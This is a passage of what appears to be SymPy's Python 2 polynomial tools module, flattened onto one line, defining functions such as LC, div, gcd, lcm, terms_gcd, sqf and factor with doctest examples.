tuple(map(Integer, degrees)) def LC(f, *gens, **args): """ Return the leading coefficient of ``f``. Examples ======== >>> from sympy import LC >>> from sympy.abc import x, y >>> LC(4*x**2 + 2*x*y**2 + x*y + 3*y) 4 """ options.allowed_flags(args, ['polys']) try: F, opt = poly_from_expr(f, *gens, **args) except PolificationFailed, exc: raise ComputationFailed('LC', 1, exc) return F.LC(order=opt.order) def LM(f, *gens, **args): """ Return the leading monomial of ``f``. Examples ======== >>> from sympy import LM >>> from sympy.abc import x, y >>> LM(4*x**2 + 2*x*y**2 + x*y + 3*y) x**2 """ options.allowed_flags(args, ['polys']) try: F, opt = poly_from_expr(f, *gens, **args) except PolificationFailed, exc: raise ComputationFailed('LM', 1, exc) monom = F.LM(order=opt.order) return monom.as_expr() def LT(f, *gens, **args): """ Return the leading term of ``f``. Examples ======== >>> from sympy import LT >>> from sympy.abc import x, y >>> LT(4*x**2 + 2*x*y**2 + x*y + 3*y) 4*x**2 """ options.allowed_flags(args, ['polys']) try: F, opt = poly_from_expr(f, *gens, **args) except PolificationFailed, exc: raise ComputationFailed('LT', 1, exc) monom, coeff = F.LT(order=opt.order) return coeff*monom.as_expr() def pdiv(f, g, *gens, **args): """ Compute polynomial pseudo-division of ``f`` and ``g``. Examples ======== >>> from sympy import pdiv >>> from sympy.abc import x >>> pdiv(x**2 + 1, 2*x - 4) (2*x + 4, 20) """ options.allowed_flags(args, ['polys']) try: (F, G), opt = parallel_poly_from_expr((f, g), *gens, **args) except PolificationFailed, exc: raise ComputationFailed('pdiv', 2, exc) q, r = F.pdiv(G) if not opt.polys: return q.as_expr(), r.as_expr() else: return q, r def prem(f, g, *gens, **args): """ Compute polynomial pseudo-remainder of ``f`` and ``g``. Examples ======== >>> from sympy import prem >>> from sympy.abc import x >>> prem(x**2 + 1, 2*x - 4) 20 """ options.allowed_flags(args, ['polys']) try: (F, G), opt = parallel_poly_from_expr((f, g), *gens, **args) except PolificationFailed, exc: raise ComputationFailed('prem', 2, exc) r = F.prem(G) if not opt.polys: return r.as_expr() else: return r def pquo(f, g, *gens, **args): """ Compute polynomial pseudo-quotient of ``f`` and ``g``. Examples ======== >>> from sympy import pquo >>> from sympy.abc import x >>> pquo(x**2 + 1, 2*x - 4) 2*x + 4 >>> pquo(x**2 - 1, 2*x - 1) 2*x + 1 """ options.allowed_flags(args, ['polys']) try: (F, G), opt = parallel_poly_from_expr((f, g), *gens, **args) except PolificationFailed, exc: raise ComputationFailed('pquo', 2, exc) try: q = F.pquo(G) except ExactQuotientFailed: raise ExactQuotientFailed(f, g) if not opt.polys: return q.as_expr() else: return q def pexquo(f, g, *gens, **args): """ Compute polynomial exact pseudo-quotient of ``f`` and ``g``. Examples ======== >>> from sympy import pexquo >>> from sympy.abc import x >>> pexquo(x**2 - 1, 2*x - 2) 2*x + 2 >>> pexquo(x**2 + 1, 2*x - 4) Traceback (most recent call last): ... ExactQuotientFailed: 2*x - 4 does not divide x**2 + 1 """ options.allowed_flags(args, ['polys']) try: (F, G), opt = parallel_poly_from_expr((f, g), *gens, **args) except PolificationFailed, exc: raise ComputationFailed('pexquo', 2, exc) q = F.pexquo(G) if not opt.polys: return q.as_expr() else: return q def div(f, g, *gens, **args): """ Compute polynomial division of ``f`` and ``g``. Examples ======== >>> from sympy import div, ZZ, QQ >>> from sympy.abc import x >>> div(x**2 + 1, 2*x - 4, domain=ZZ) (0, x**2 + 1) >>> div(x**2 + 1, 2*x - 4, domain=QQ) (x/2 + 1, 5) """ options.allowed_flags(args, ['auto', 'polys']) try: (F, G), opt = parallel_poly_from_expr((f, g), *gens, **args) except PolificationFailed, exc: raise ComputationFailed('div', 2, exc) q, r = F.div(G, auto=opt.auto) if not opt.polys: return q.as_expr(), r.as_expr() else: return q, r def rem(f, g, *gens, **args): """ Compute polynomial remainder of ``f`` and ``g``. Examples ======== >>> from sympy import rem, ZZ, QQ >>> from sympy.abc import x >>> rem(x**2 + 1, 2*x - 4, domain=ZZ) x**2 + 1 >>> rem(x**2 + 1, 2*x - 4, domain=QQ) 5 """ options.allowed_flags(args, ['auto', 'polys']) try: (F, G), opt = parallel_poly_from_expr((f, g), *gens, **args) except PolificationFailed, exc: raise ComputationFailed('rem', 2, exc) r = F.rem(G, auto=opt.auto) if not opt.polys: return r.as_expr() else: return r def quo(f, g, *gens, **args): """ Compute polynomial quotient of ``f`` and ``g``. Examples ======== >>> from sympy import quo >>> from sympy.abc import x >>> quo(x**2 + 1, 2*x - 4) x/2 + 1 >>> quo(x**2 - 1, x - 1) x + 1 """ options.allowed_flags(args, ['auto', 'polys']) try: (F, G), opt = parallel_poly_from_expr((f, g), *gens, **args) except PolificationFailed, exc: raise ComputationFailed('quo', 2, exc) q = F.quo(G, auto=opt.auto) if not opt.polys: return q.as_expr() else: return q def exquo(f, g, *gens, **args): """ Compute polynomial exact quotient of ``f`` and ``g``. Examples ======== >>> from sympy import exquo >>> from sympy.abc import x >>> exquo(x**2 - 1, x - 1) x + 1 >>> exquo(x**2 + 1, 2*x - 4) Traceback (most recent call last): ... ExactQuotientFailed: 2*x - 4 does not divide x**2 + 1 """ options.allowed_flags(args, ['auto', 'polys']) try: (F, G), opt = parallel_poly_from_expr((f, g), *gens, **args) except PolificationFailed, exc: raise ComputationFailed('exquo', 2, exc) q = F.exquo(G, auto=opt.auto) if not opt.polys: return q.as_expr() else: return q def half_gcdex(f, g, *gens, **args): """ Half extended Euclidean algorithm of ``f`` and ``g``. Returns ``(s, h)`` such that ``h = gcd(f, g)`` and ``s*f = h (mod g)``. Examples ======== >>> from sympy import half_gcdex >>> from sympy.abc import x >>> half_gcdex(x**4 - 2*x**3 - 6*x**2 + 12*x + 15, x**3 + x**2 - 4*x - 4) (-x/5 + 3/5, x + 1) """ options.allowed_flags(args, ['auto', 'polys']) try: (F, G), opt = parallel_poly_from_expr((f, g), *gens, **args) except PolificationFailed, exc: domain, (a, b) = construct_domain(exc.exprs) try: s, h = domain.half_gcdex(a, b) except NotImplementedError: raise ComputationFailed('half_gcdex', 2, exc) else: return domain.to_sympy(s), domain.to_sympy(h) s, h = F.half_gcdex(G, auto=opt.auto) if not opt.polys: return s.as_expr(), h.as_expr() else: return s, h def gcdex(f, g, *gens, **args): """ Extended Euclidean algorithm of ``f`` and ``g``. Returns ``(s, t, h)`` such that ``h = gcd(f, g)`` and ``s*f + t*g = h``. Examples ======== >>> from sympy import gcdex >>> from sympy.abc import x >>> gcdex(x**4 - 2*x**3 - 6*x**2 + 12*x + 15, x**3 + x**2 - 4*x - 4) (-x/5 + 3/5, x**2/5 - 6*x/5 + 2, x + 1) """ options.allowed_flags(args, ['auto', 'polys']) try: (F, G), opt = parallel_poly_from_expr((f, g), *gens, **args) except PolificationFailed, exc: domain, (a, b) = construct_domain(exc.exprs) try: s, t, h = domain.gcdex(a, b) except NotImplementedError: raise ComputationFailed('gcdex', 2, exc) else: return domain.to_sympy(s), domain.to_sympy(t), domain.to_sympy(h) s, t, h = F.gcdex(G, auto=opt.auto) if not opt.polys: return s.as_expr(), t.as_expr(), h.as_expr() else: return s, t, h def invert(f, g, *gens, **args): """ Invert ``f`` modulo ``g`` when possible. Examples ======== >>> from sympy import invert >>> from sympy.abc import x >>> invert(x**2 - 1, 2*x - 1) -4/3 >>> invert(x**2 - 1, x - 1) Traceback (most recent call last): ... NotInvertible: zero divisor """ options.allowed_flags(args, ['auto', 'polys']) try: (F, G), opt = parallel_poly_from_expr((f, g), *gens, **args) except PolificationFailed, exc: domain, (a, b) = construct_domain(exc.exprs) try: return domain.to_sympy(domain.invert(a, b)) except NotImplementedError: raise ComputationFailed('invert', 2, exc) h = F.invert(G, auto=opt.auto) if not opt.polys: return h.as_expr() else: return h def subresultants(f, g, *gens, **args): """ Compute subresultant PRS of ``f`` and ``g``. Examples ======== >>> from sympy import subresultants >>> from sympy.abc import x >>> subresultants(x**2 + 1, x**2 - 1) [x**2 + 1, x**2 - 1, -2] """ options.allowed_flags(args, ['polys']) try: (F, G), opt = parallel_poly_from_expr((f, g), *gens, **args) except PolificationFailed, exc: raise ComputationFailed('subresultants', 2, exc) result = F.subresultants(G) if not opt.polys: return [ r.as_expr() for r in result ] else: return result def resultant(f, g, *gens, **args): """ Compute resultant of ``f`` and ``g``. Examples ======== >>> from sympy import resultant >>> from sympy.abc import x >>> resultant(x**2 + 1, x**2 - 1) 4 """ includePRS = args.pop('includePRS', False) options.allowed_flags(args, ['polys']) try: (F, G), opt = parallel_poly_from_expr((f, g), *gens, **args) except PolificationFailed, exc: raise ComputationFailed('resultant', 2, exc) if includePRS: result, R = F.resultant(G, includePRS=includePRS) else: result = F.resultant(G) if not opt.polys: if includePRS: return result.as_expr(), [r.as_expr() for r in R] return result.as_expr() else: if includePRS: return result, R return result def discriminant(f, *gens, **args): """ Compute discriminant of ``f``. Examples ======== >>> from sympy import discriminant >>> from sympy.abc import x >>> discriminant(x**2 + 2*x + 3) -8 """ options.allowed_flags(args, ['polys']) try: F, opt = poly_from_expr(f, *gens, **args) except PolificationFailed, exc: raise ComputationFailed('discriminant', 1, exc) result = F.discriminant() if not opt.polys: return result.as_expr() else: return result def cofactors(f, g, *gens, **args): """ Compute GCD and cofactors of ``f`` and ``g``. Returns polynomials ``(h, cff, cfg)`` such that ``h = gcd(f, g)``, and ``cff = quo(f, h)`` and ``cfg = quo(g, h)`` are, so called, cofactors of ``f`` and ``g``. Examples ======== >>> from sympy import cofactors >>> from sympy.abc import x >>> cofactors(x**2 - 1, x**2 - 3*x + 2) (x - 1, x + 1, x - 2) """ options.allowed_flags(args, ['polys']) try: (F, G), opt = parallel_poly_from_expr((f, g), *gens, **args) except PolificationFailed, exc: domain, (a, b) = construct_domain(exc.exprs) try: h, cff, cfg = domain.cofactors(a, b) except NotImplementedError: raise ComputationFailed('cofactors', 2, exc) else: return domain.to_sympy(h), domain.to_sympy(cff), domain.to_sympy(cfg) h, cff, cfg = F.cofactors(G) if not opt.polys: return h.as_expr(), cff.as_expr(), cfg.as_expr() else: return h, cff, cfg def gcd_list(seq, *gens, **args): """ Compute GCD of a list of polynomials. Examples ======== >>> from sympy import gcd_list >>> from sympy.abc import x >>> gcd_list([x**3 - 1, x**2 - 1, x**2 - 3*x + 2]) x - 1 """ seq = sympify(seq) if not gens and not args: domain, numbers = construct_domain(seq) if not numbers: return domain.zero elif domain.is_Numerical: result, numbers = numbers[0], numbers[1:] for number in numbers: result = domain.gcd(result, number) if domain.is_one(result): break return domain.to_sympy(result) options.allowed_flags(args, ['polys']) try: polys, opt = parallel_poly_from_expr(seq, *gens, **args) except PolificationFailed, exc: raise ComputationFailed('gcd_list', len(seq), exc) if not polys: if not opt.polys: return S.Zero else: return Poly(0, opt=opt) result, polys = polys[0], polys[1:] for poly in polys: result = result.gcd(poly) if result.is_one: break if not opt.polys: return result.as_expr() else: return result def gcd(f, g=None, *gens, **args): """ Compute GCD of ``f`` and ``g``. Examples ======== >>> from sympy import gcd >>> from sympy.abc import x >>> gcd(x**2 - 1, x**2 - 3*x + 2) x - 1 """ if hasattr(f, '__iter__'): if g is not None: gens = (g,) + gens return gcd_list(f, *gens, **args) elif g is None: raise TypeError("gcd() takes 2 arguments or a sequence of arguments") options.allowed_flags(args, ['polys']) try: (F, G), opt = parallel_poly_from_expr((f, g), *gens, **args) except PolificationFailed, exc: domain, (a, b) = construct_domain(exc.exprs) try: return domain.to_sympy(domain.gcd(a, b)) except NotImplementedError: raise ComputationFailed('gcd', 2, exc) result = F.gcd(G) if not opt.polys: return result.as_expr() else: return result def lcm_list(seq, *gens, **args): """ Compute LCM of a list of polynomials. Examples ======== >>> from sympy import lcm_list >>> from sympy.abc import x >>> lcm_list([x**3 - 1, x**2 - 1, x**2 - 3*x + 2]) x**5 - x**4 - 2*x**3 - x**2 + x + 2 """ seq = sympify(seq) if not gens and not args: domain, numbers = construct_domain(seq) if not numbers: return domain.one elif domain.is_Numerical: result, numbers = numbers[0], numbers[1:] for number in numbers: result = domain.lcm(result, number) return domain.to_sympy(result) options.allowed_flags(args, ['polys']) try: polys, opt = parallel_poly_from_expr(seq, *gens, **args) except PolificationFailed, exc: raise ComputationFailed('lcm_list', len(seq), exc) if not polys: if not opt.polys: return S.One else: return Poly(1, opt=opt) result, polys = polys[0], polys[1:] for poly in polys: result = result.lcm(poly) if not opt.polys: return result.as_expr() else: return result def lcm(f, g=None, *gens, **args): """ Compute LCM of ``f`` and ``g``. Examples ======== >>> from sympy import lcm >>> from sympy.abc import x >>> lcm(x**2 - 1, x**2 - 3*x + 2) x**3 - 2*x**2 - x + 2 """ if hasattr(f, '__iter__'): if g is not None: gens = (g,) + gens return lcm_list(f, *gens, **args) elif g is None: raise TypeError("lcm() takes 2 arguments or a sequence of arguments") options.allowed_flags(args, ['polys']) try: (F, G), opt = parallel_poly_from_expr((f, g), *gens, **args) except PolificationFailed, exc: domain, (a, b) = construct_domain(exc.exprs) try: return domain.to_sympy(domain.lcm(a, b)) except NotImplementedError: raise ComputationFailed('lcm', 2, exc) result = F.lcm(G) if not opt.polys: return result.as_expr() else: return result def terms_gcd(f, *gens, **args): """ Remove GCD of terms from ``f``. If the ``deep`` flag is True, then the arguments of ``f`` will have terms_gcd applied to them. If a fraction is factored out of ``f`` and ``f`` is an Add, then an unevaluated Mul will be returned so that automatic simplification does not redistribute it. The hint ``clear``, when set to False, can be used to prevent such factoring when all coefficients are not fractions. Examples ======== >>> from sympy import terms_gcd, cos, pi >>> from sympy.abc import x, y >>> terms_gcd(x**6*y**2 + x**3*y, x, y) x**3*y*(x**3*y + 1) The default action of polys routines is to expand the expression given to them. terms_gcd follows this behavior: >>> terms_gcd((3+3*x)*(x+x*y)) 3*x*(x*y + x + y + 1) If this is not desired then the hint ``expand`` can be set to False. In this case the expression will be treated as though it were comprised of one or more terms: >>> terms_gcd((3+3*x)*(x+x*y), expand=False) (3*x + 3)*(x*y + x) In order to traverse factors of a Mul or the arguments of other functions, the ``deep`` hint can be used: >>> terms_gcd((3 + 3*x)*(x + x*y), expand=False, deep=True) 3*x*(x + 1)*(y + 1) >>> terms_gcd(cos(x + x*y), deep=True) cos(x*(y + 1)) Rationals are factored out by default: >>> terms_gcd(x + y/2) (2*x + y)/2 Only the y-term had a coefficient that was a fraction; if one does not want to factor out the 1/2 in cases like this, the flag ``clear`` can be set to False: >>> terms_gcd(x + y/2, clear=False) x + y/2 >>> terms_gcd(x*y/2 + y**2, clear=False) y*(x/2 + y) The ``clear`` flag is ignored if all coefficients are fractions: >>> terms_gcd(x/3 + y/2, clear=False) (2*x + 3*y)/6 See Also ======== sympy.core.exprtools.gcd_terms, sympy.core.exprtools.factor_terms """ if not isinstance(f, Expr) or f.is_Atom: return sympify(f) if args.get('deep', False): new = f.func(*[terms_gcd(a, *gens, **args) for a in f.args]) args.pop('deep') args['expand'] = False return terms_gcd(new, *gens, **args) clear = args.pop('clear', True) options.allowed_flags(args, ['polys']) try: F, opt = poly_from_expr(f, *gens, **args) except PolificationFailed, exc: return exc.expr J, f = F.terms_gcd() if opt.domain.has_Ring: if opt.domain.has_Field: denom, f = f.clear_denoms(convert=True) coeff, f = f.primitive() if opt.domain.has_Field: coeff /= denom else: coeff = S.One term = Mul(*[ x**j for x, j in zip(f.gens, J) ]) if clear: return _keep_coeff(coeff, term*f.as_expr()) # base the clearing on the form of the original expression, not # the (perhaps) Mul that we have now coeff, f = _keep_coeff(coeff, f.as_expr(), clear=False).as_coeff_Mul() return _keep_coeff(coeff, term*f, clear=False) def trunc(f, p, *gens, **args): """ Reduce ``f`` modulo a constant ``p``. Examples ======== >>> from sympy import trunc >>> from sympy.abc import x >>> trunc(2*x**3 + 3*x**2 + 5*x + 7, 3) -x**3 - x + 1 """ options.allowed_flags(args, ['auto', 'polys']) try: F, opt = poly_from_expr(f, *gens, **args) except PolificationFailed, exc: raise ComputationFailed('trunc', 1, exc) result = F.trunc(sympify(p)) if not opt.polys: return result.as_expr() else: return result def monic(f, *gens, **args): """ Divide all coefficients of ``f`` by ``LC(f)``. Examples ======== >>> from sympy import monic >>> from sympy.abc import x >>> monic(3*x**2 + 4*x + 2) x**2 + 4*x/3 + 2/3 """ options.allowed_flags(args, ['auto', 'polys']) try: F, opt = poly_from_expr(f, *gens, **args) except PolificationFailed, exc: raise ComputationFailed('monic', 1, exc) result = F.monic(auto=opt.auto) if not opt.polys: return result.as_expr() else: return result def content(f, *gens, **args): """ Compute GCD of coefficients of ``f``. Examples ======== >>> from sympy import content >>> from sympy.abc import x >>> content(6*x**2 + 8*x + 12) 2 """ options.allowed_flags(args, ['polys']) try: F, opt = poly_from_expr(f, *gens, **args) except PolificationFailed, exc: raise ComputationFailed('content', 1, exc) return F.content() def primitive(f, *gens, **args): """ Compute content and the primitive form of ``f``. Examples ======== >>> from sympy.polys.polytools import primitive >>> from sympy.abc import x, y >>> primitive(6*x**2 + 8*x + 12) (2, 3*x**2 + 4*x + 6) >>> eq = (2 + 2*x)*x + 2 Expansion is performed by default: >>> primitive(eq) (2, x**2 + x + 1) Set ``expand`` to False to shut this off. Note that the extraction will not be recursive; use the as_content_primitive method for recursive, non-destructive Rational extraction. >>> primitive(eq, expand=False) (1, x*(2*x + 2) + 2) >>> eq.as_content_primitive() (2, x*(x + 1) + 1) """ options.allowed_flags(args, ['polys']) try: F, opt = poly_from_expr(f, *gens, **args) except PolificationFailed, exc: raise ComputationFailed('primitive', 1, exc) cont, result = F.primitive() if not opt.polys: return cont, result.as_expr() else: return cont, result def compose(f, g, *gens, **args): """ Compute functional composition ``f(g)``. Examples ======== >>> from sympy import compose >>> from sympy.abc import x >>> compose(x**2 + x, x - 1) x**2 - x """ options.allowed_flags(args, ['polys']) try: (F, G), opt = parallel_poly_from_expr((f, g), *gens, **args) except PolificationFailed, exc: raise ComputationFailed('compose', 2, exc) result = F.compose(G) if not opt.polys: return result.as_expr() else: return result def decompose(f, *gens, **args): """ Compute functional decomposition of ``f``. Examples ======== >>> from sympy import decompose >>> from sympy.abc import x >>> decompose(x**4 + 2*x**3 - x - 1) [x**2 - x - 1, x**2 + x] """ options.allowed_flags(args, ['polys']) try: F, opt = poly_from_expr(f, *gens, **args) except PolificationFailed, exc: raise ComputationFailed('decompose', 1, exc) result = F.decompose() if not opt.polys: return [ r.as_expr() for r in result ] else: return result def sturm(f, *gens, **args): """ Compute Sturm sequence of ``f``. Examples ======== >>> from sympy import sturm >>> from sympy.abc import x >>> sturm(x**3 - 2*x**2 + x - 3) [x**3 - 2*x**2 + x - 3, 3*x**2 - 4*x + 1, 2*x/9 + 25/9, -2079/4] """ options.allowed_flags(args, ['auto', 'polys']) try: F, opt = poly_from_expr(f, *gens, **args) except PolificationFailed, exc: raise ComputationFailed('sturm', 1, exc) result = F.sturm(auto=opt.auto) if not opt.polys: return [ r.as_expr() for r in result ] else: return result def gff_list(f, *gens, **args): """ Compute a list of greatest factorial factors of ``f``. Examples ======== >>> from sympy import gff_list, ff >>> from sympy.abc import x >>> f = x**5 + 2*x**4 - x**3 - 2*x**2 >>> gff_list(f) [(x, 1), (x + 2, 4)] >>> (ff(x, 1)*ff(x + 2, 4)).expand() == f True """ options.allowed_flags(args, ['polys']) try: F, opt = poly_from_expr(f, *gens, **args) except PolificationFailed, exc: raise ComputationFailed('gff_list', 1, exc) factors = F.gff_list() if not opt.polys: return [ (g.as_expr(), k) for g, k in factors ] else: return factors def gff(f, *gens, **args): """Compute greatest factorial factorization of ``f``. """ raise NotImplementedError('symbolic falling factorial') def sqf_norm(f, *gens, **args): """ Compute square-free norm of ``f``. Returns ``s``, ``f``, ``r``, such that ``g(x) = f(x-sa)`` and ``r(x) = Norm(g(x))`` is a square-free polynomial over ``K``, where ``a`` is the algebraic extension of the ground domain. Examples ======== >>> from sympy import sqf_norm, sqrt >>> from sympy.abc import x >>> sqf_norm(x**2 + 1, extension=[sqrt(3)]) (1, x**2 - 2*sqrt(3)*x + 4, x**4 - 4*x**2 + 16) """ options.allowed_flags(args, ['polys']) try: F, opt = poly_from_expr(f, *gens, **args) except PolificationFailed, exc: raise ComputationFailed('sqf_norm', 1, exc) s, g, r = F.sqf_norm() if not opt.polys: return Integer(s), g.as_expr(), r.as_expr() else: return Integer(s), g, r def sqf_part(f, *gens, **args): """ Compute square-free part of ``f``. Examples ======== >>> from sympy import sqf_part >>> from sympy.abc import x >>> sqf_part(x**3 - 3*x - 2) x**2 - x - 2 """ options.allowed_flags(args, ['polys']) try: F, opt = poly_from_expr(f, *gens, **args) except PolificationFailed, exc: raise ComputationFailed('sqf_part', 1, exc) result = F.sqf_part() if not opt.polys: return result.as_expr() else: return result def _sorted_factors(factors, method): """Sort a list of ``(expr, exp)`` pairs. """ if method == 'sqf': def key(obj): poly, exp = obj rep = poly.rep.rep return (exp, len(rep), rep) else: def key(obj): poly, exp = obj rep = poly.rep.rep return (len(rep), exp, rep) return sorted(factors, key=key) def _factors_product(factors): """Multiply a list of ``(expr, exp)`` pairs. """ return Mul(*[ f.as_expr()**k for f, k in factors ]) def _symbolic_factor_list(expr, opt, method): """Helper function for :func:`_symbolic_factor`. """ coeff, factors = S.One, [] for arg in Mul.make_args(expr): if arg.is_Number: coeff *= arg continue elif arg.is_Pow: base, exp = arg.args if base.is_Number: factors.append((base, exp)) continue else: base, exp = arg, S.One try: poly, _ = _poly_from_expr(base, opt) except PolificationFailed, exc: factors.append((exc.expr, exp)) else: func = getattr(poly, method + '_list') _coeff, _factors = func() if _coeff is not S.One: if exp.is_Integer: coeff *= _coeff**exp elif _coeff.is_positive: factors.append((_coeff, exp)) else: _factors.append((_coeff, None)) if exp is S.One: factors.extend(_factors) elif exp.is_integer or len(_factors) == 1: factors.extend([ (f, k*exp) for f, k in _factors ]) else: other = [] for f, k in _factors: if f.as_expr().is_positive: factors.append((f, k*exp)) elif k is not None: other.append((f, k)) else: other.append((f, S.One)) if len(other) == 1: f, k = other[0] factors.append((f, k*exp)) else: factors.append((_factors_product(other), exp)) return coeff, factors def _symbolic_factor(expr, opt, method): """Helper function for :func:`_factor`. """ if isinstance(expr, Expr) and not expr.is_Relational: coeff, factors = _symbolic_factor_list(together(expr), opt, method) return _keep_coeff(coeff, _factors_product(factors)) elif hasattr(expr, 'args'): return expr.func(*[ _symbolic_factor(arg, opt, method) for arg in expr.args ]) elif hasattr(expr, '__iter__'): return expr.__class__([ _symbolic_factor(arg, opt, method) for arg in expr ]) else: return expr def _generic_factor_list(expr, gens, args, method): """Helper function for :func:`sqf_list` and :func:`factor_list`. """ options.allowed_flags(args, ['frac', 'polys']) opt = options.build_options(gens, args) expr = sympify(expr) if isinstance(expr, Expr) and not expr.is_Relational: numer, denom = together(expr).as_numer_denom() cp, fp = _symbolic_factor_list(numer, opt, method) cq, fq = _symbolic_factor_list(denom, opt, method) if fq and not opt.frac: raise PolynomialError("a polynomial expected, got %s" % expr) _opt = opt.clone(dict(expand=True)) for factors in (fp, fq): for i, (f, k) in enumerate(factors): if not f.is_Poly: f, _ = _poly_from_expr(f, _opt) factors[i] = (f, k) fp = _sorted_factors(fp, method) fq = _sorted_factors(fq, method) if not opt.polys: fp = [ (f.as_expr(), k) for f, k in fp ] fq = [ (f.as_expr(), k) for f, k in fq ] coeff = cp/cq if not opt.frac: return coeff, fp else: return coeff, fp, fq else: raise PolynomialError("a polynomial expected, got %s" % expr) def _generic_factor(expr, gens, args, method): """Helper function for :func:`sqf` and :func:`factor`. """ options.allowed_flags(args, []) opt = options.build_options(gens, args) return _symbolic_factor(sympify(expr), opt, method) def to_rational_coeffs(f): """ try to transform a polynomial to have rational coefficients try to find a transformation ``x = alpha*y`` ``f(x) = lc*alpha**n * g(y)`` where ``g`` is a polynomial with rational coefficients, ``lc`` the leading coefficient. If this fails, try ``x = y + beta`` ``f(x) = g(y)`` Returns ``None`` if ``g`` not found; ``(lc, alpha, None, g)`` in case of rescaling ``(None, None, beta, g)`` in case of translation Notes ===== Currently it transforms only polynomials without roots larger than 2. Examples ======== >>> from sympy import sqrt, Poly, simplify, expand >>> from sympy.polys.polytools import to_rational_coeffs >>> from sympy.abc import x >>> p = Poly(((x**2-1)*(x-2)).subs({x:x*(1 + sqrt(2))}), x, domain='EX') >>> lc, r, _, g = to_rational_coeffs(p) >>> lc, r (7 + 5*sqrt(2), -2*sqrt(2) + 2) >>> g Poly(x**3 + x**2 - 1/4*x - 1/4, x, domain='QQ') >>> r1 = simplify(1/r) >>> Poly(lc*r**3*(g.as_expr()).subs({x:x*r1}), x, domain='EX') == p True """ from sympy.simplify.simplify import simplify def _try_rescale(f): """ try rescaling ``x -> alpha*x`` to convert f to a polynomial with rational coefficients. Returns ``alpha, f``; if the rescaling is successful, ``alpha`` is the rescaling factor, and ``f`` is the rescaled polynomial; else ``alpha`` is ``None``. """ from sympy.core.add import Add if not len(f.gens) == 1 or not (f.gens[0]).is_Atom: return None, f n = f.degree() lc = f.LC() coeffs = f.monic().all_coeffs()[1:] coeffs = [simplify(coeffx) for coeffx in coeffs] if coeffs[-2] and not all(coeffx.is_rational for coeffx in coeffs): rescale1_x = simplify(coeffs[-2]/coeffs[-1]) coeffs1 = [] for i in range(len(coeffs)): coeffx = simplify(coeffs[i]*rescale1_x**(i + 1)) if not coeffx.is_rational: break coeffs1.append(coeffx) else: rescale_x = simplify(1/rescale1_x) x = f.gens[0] v = [x**n] for i in range(1, n + 1): v.append(coeffs1[i - 1]*x**(n - i)) f = Add(*v) f = Poly(f) return lc, rescale_x, f return None def _try_translate(f): """ try translating ``x -> x + alpha`` to convert f to a polynomial with rational coefficients. Returns ``alpha, f``; if the translating is successful, ``alpha`` is the translating factor, and ``f`` is the shifted polynomial; else ``alpha`` is ``None``. """ from sympy.core.add import Add from sympy.utilities.iterables import sift if not len(f.gens) == 1 or not (f.gens[0]).is_Atom: return None, f n = f.degree() f1 = f.monic() coeffs = f1.all_coeffs()[1:] c = simplify(coeffs[0]) if c and not c.is_rational: if c.is_Add: args = c.args else: args = [c] sifted = sift(args, lambda z: z.is_rational) c1, c2 = sifted[True], sifted[False] alpha = -Add(*c2)/n f2 = f1.shift(alpha) return alpha, f2 return None def _has_square_roots(p): """ Return True if ``f`` is a sum with square roots but no other root """ from sympy.core.exprtools import Factors coeffs = p.coeffs() has_sq = False for y in coeffs: for x in Add.make_args(y): f = Factors(x).factors r = [wx.q for wx in f.values() if wx.is_Rational and wx.q >= 2] if not r: continue if min(r) == 2: has_sq = True if max(r) > 2: return False return has_sq if f.get_domain().is_EX and _has_square_roots(f): rescale_x = None translate_x = None r = _try_rescale(f) if r: return r[0], r[1], None, r[2] else: r = _try_translate(f) if r: return None, None, r[0], r[1] return None def _torational_factor_list(p, x): """ helper function to factor polynomial using to_rational_coeffs Examples ======== >>> from sympy.polys.polytools import _torational_factor_list >>> from sympy.abc import x >>> from sympy import sqrt, expand, Mul >>> p = expand(((x**2-1)*(x-2)).subs({x:x*(1 + sqrt(2))})) >>> factors = _torational_factor_list(p, x); factors (-2, [(-x*(1 + sqrt(2))/2 + 1, 1), (-x*(1 + sqrt(2)) - 1, 1), (-x*(1 + sqrt(2)) + 1, 1)]) >>> expand(factors[0]*Mul(*[z[0] for z in factors[1]])) == p True >>> p = expand(((x**2-1)*(x-2)).subs({x:x + sqrt(2)})) >>> factors = _torational_factor_list(p, x); factors (1, [(x - 2 + sqrt(2), 1), (x - 1 + sqrt(2), 1), (x + 1 + sqrt(2), 1)]) >>> expand(factors[0]*Mul(*[z[0] for z in factors[1]])) == p True """ from sympy.simplify.simplify import simplify p1 = Poly(p, x, domain='EX') n = p1.degree() res = to_rational_coeffs(p1) if not res: return None lc, r, t, g = res factors = factor_list(g.as_expr()) if lc: c = simplify(factors[0]*lc*r**n) r1 = simplify(1/r) a = [] for z in factors[1:][0]: a.append((simplify(z[0].subs({x:x*r1})), z[1])) else: c = factors[0] a = [] for z in factors[1:][0]: a.append((z[0].subs({x:x - t}), z[1])) return (c, a) def sqf_list(f, *gens, **args): """ Compute a list of square-free factors of ``f``. Examples ======== >>> from sympy import sqf_list >>> from sympy.abc import x >>> sqf_list(2*x**5 + 16*x**4 + 50*x**3 + 76*x**2 + 56*x + 16) (2, [(x + 1, 2), (x + 2, 3)]) """ return _generic_factor_list(f, gens, args, method='sqf') def sqf(f, *gens, **args): """ Compute square-free factorization of ``f``. Examples ======== >>> from sympy import sqf >>> from sympy.abc import x >>> sqf(2*x**5 + 16*x**4 + 50*x**3 + 76*x**2 + 56*x + 16) 2*(x + 1)**2*(x + 2)**3 """ return _generic_factor(f, gens, args, method='sqf') def factor_list(f, *gens, **args): """ Compute a list of irreducible factors of ``f``. Examples ======== >>> from sympy import factor_list >>> from sympy.abc import x, y >>> factor_list(2*x**5 + 2*x**4*y + 4*x**3 + 4*x**2*y + 2*x + 2*y) (2, [(x + y, 1), (x**2 + 1, 2)]) """ return _generic_factor_list(f, gens, args, method='factor') def factor(f, *gens, **args): """ Compute the factorization of expression, ``f``, into irreducibles. (To factor an integer into primes, use ``factorint``.) There two modes implemented: symbolic and formal. If ``f`` is not an instance of :class:`Poly` and generators are not specified, then the former mode is used. Otherwise, the formal mode is used. In symbolic mode, :func:`factor` will traverse the expression tree and factor its components without any prior expansion, unless an instance of :class:`Add` is encountered (in this case formal factorization is used). This way :func:`factor` can handle large or symbolic exponents. By default, the factorization is computed over the rationals. To factor over other domain, e.g. an algebraic or finite field, use appropriate options: ``extension``, ``modulus`` or ``domain``. Examples ======== >>> from sympy import factor, sqrt >>> from sympy.abc import x, y >>> factor(2*x**5 + 2*x**4*y + 4*x**3 + 4*x**2*y + 2*x + 2*y) 2*(x + y)*(x**2 + 1)**2 >>> factor(x**2 + 1) x**2 + 1 >>> factor(x**2 + 1, modulus=2) (x + 1)**2 >>> factor(x**2 + 